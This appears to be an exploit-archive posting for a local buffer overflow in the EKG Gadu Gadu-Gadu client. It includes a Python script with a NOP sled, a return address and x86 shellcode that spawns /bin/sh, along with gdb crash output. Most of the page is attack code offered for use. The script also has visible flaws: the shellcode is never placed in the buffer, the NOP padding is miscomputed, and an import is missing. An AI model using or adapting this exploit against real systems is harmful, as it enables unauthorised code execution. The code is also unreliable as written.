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EKG Gadu 1.9~pre+r2855-3+b1 Local Buffer Overflow

EKG Gadu 1.9~pre+r2855-3+b1 Local Buffer Overflow
Posted Sep 19, 2016
Authored by Juan Sacco

EKG Gadu versions 1 through 1.9~pre+r2855-3+b1 suffer from a local buffer overflow vulnerability.

tags | exploit, overflow, local
MD5 | 5dfc4e6776e3a7421bd1664d0d7d5e0c

EKG Gadu 1.9~pre+r2855-3+b1 Local Buffer Overflow

Change Mirror Download
# Exploit developed using Exploit Pack v6.01
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
# jsacco@exploitpack.com
# Program affected: EKG Gadu
# Affected value: USERNAME
# Version: 1:1.9~pre+r2855-3+b1
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
# Program description: console Gadu Gadu client for UNIX systems - ncurses UI
# EKG ("Eksperymentalny Klient Gadu-Gadu") is an open source
# Gadu-Gadu client for UNIX systems.
# Kali Linux 2.0 package: pool/main/e/ekg/ekg_1.9~pre+r2855-3+b1_i386.deb
# MD5sum: c752577dfb5ea44513a3fb351d431afa
# Website: http://ekg.chmurka.net/
#
# gdb$ run `python -c 'print "A"*258'`
# 0x0807e125 in strlcpy ()
# gdb$ backtrace
# #0 0x0807e125 in strlcpy ()
# #1 0x080570bb in ioctld_socket ()
# #2 0x08052e60 in main ()


import os, subprocess

def run():
try:
print "# EKG Gadu - Local Buffer Overflow by Juan Sacco"
print "# This Exploit has been developed using Exploit Pack -
http://exploitpack.com"
# NOPSLED + SHELLCODE + EIP

buffersize = 240
nopsled = "\x90"*30
shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\x20\xf1\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip
subprocess.call(["ekg ",' ', buffer])

except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, EKG Gadu - Not found!"
else:
print "Error executing exploit"
raise

def howtousage():
print "Snap! Something went wrong"
sys.exit(-1)

if __name__ == '__main__':
try:
print "Exploit EKG Gadu - Local Overflow Exploit"
print "Author: Juan Sacco - Exploit Pack"
except IndexError:
howtousage()
run()

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